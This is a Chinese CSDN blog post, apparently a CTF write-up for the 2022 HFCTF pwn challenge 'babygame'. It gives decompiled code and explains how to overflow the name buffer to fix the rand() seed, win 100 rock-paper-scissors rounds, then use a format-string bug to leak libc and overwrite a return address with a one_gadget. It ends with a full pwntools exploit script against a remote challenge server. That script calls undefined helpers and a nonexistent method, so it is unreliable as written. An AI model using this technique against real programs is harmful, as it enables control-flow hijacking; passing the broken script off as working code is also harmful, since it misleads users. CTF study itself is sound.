

# 2022 虎符 pwn babygame

原创

yongbaonii 于 2022-03-21 17:15:00 发布 316 收藏 2

分类专栏: [CTF](#) 文章标签: [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/yongbaonii/article/details/123626468>

版权



[CTF 专栏收录该内容](#)

213 篇文章 7 订阅

订阅专栏

```
*] '/home/desh0ng/Desktop/babygame'  
Arch:      amd64-64-little  
RELRO:     Full RELRO  
Stack:     Canary found  
NX:        NX enabled  
PIE:       PIE enabled
```

绿

界面简单

```
8  v7 = __readfsqword(0x28u);  
9  ((void (__fastcall *) (__int64, char **, char **))((char *)&sub_1268 + 1))(a1, a2, a3);  
0  v5 = time(0LL);  
1  puts("Welcome to HFCTF!");  
2  puts("Please input your name:");  
3  read(0, buf, 0x256uLL);  
4  printf("Hello, %s\n", buf);  
5  srand(v5);  
6  v6 = sub_1305();  
7  if ( v6 > 0 )  
8     sub_13F7();  
9  return 0LL;  
0 }
```

CSDN @yongbaonii

```

5 int v3; // [rsp+Ch] [rbp-4h]
6
7 puts("Let's start to play a game!");
8 puts("0. rock");
9 puts("1. scissor");
0 puts("2. paper");
1 for ( i = 0; i <= 99; ++i )
2 {
3     printf("round %d: \n", (unsigned int)(i + 1));
4     v2 = rand() % 3;
5     v3 = sub_129C();
6     if ( v2 )
7     {
8         if ( v2 == 1 )
9         {
0             if ( v3 != 2 )
1                 return 0LL;
2         }
3         else if ( v2 == 2 && v3 )
4         {
5             return 0LL;
6         }
7     }
8     else if ( v3 != 1 )
9     {
0         return 0LL;
1     }
2 }
3 return 1LL;
4}

```

CSDN @yongbaoii

玩一百把随机数游戏

```

v2 = __readfsqword(0x28u);
puts("Good luck to you.");
read(0, buf, 0x100uLL);
printf(buf);
return __readfsqword(0x28u) ^ v2;
}

```

打赢给一个格式化字符串

重点就是过那个随机数嘛

计算机的随机数始终都是伪随机

它的种子是时间

它种子的时间是秒为单位

我们只要在它启动的时候

我们也启动我们的脚本，也开始用时间种子随机

只要我们跟他的时间不超过1s

我们就可以完全拿到它所谓的随机数

就很轻松的过了游戏

然后格式化字符串泄露libc改main返回地址为ong\_gadget就可以了

exp

```
#!/usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
from ctypes import *

#r = process("./babygame")
r = remote("120.25.205.249",30311)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_rand = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

r.sendlineafter("Please input your name:", b'a'*0x100+p64(0))

libc_rand.srand(0)
for i in range(100):
    ru("round {}: \n".format(i+1))
    num = libc_rand.rand()
    if (num%3) == 1:
        r.sendline('2')
    if (num%3) == 2:
        r.sendline('0')
    if (num%3) == 0:
        r.sendline('1')

r.senduntil("Good luck to you.", '%9$1x%50c%8$hhn'.ljust(0x10,'a')+'\x78')
r.recvuntil('\n')
libc_base = int(rv(12),16) - 0x61d6f
r.recvuntil('a')
stack_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))

one_gadget = libc_base + 0xe3b31

payload = fmtstr_payload(6, {stack_addr: one_gadget})
sendlineafter("Good luck to you.", payload)

r.interactive()
```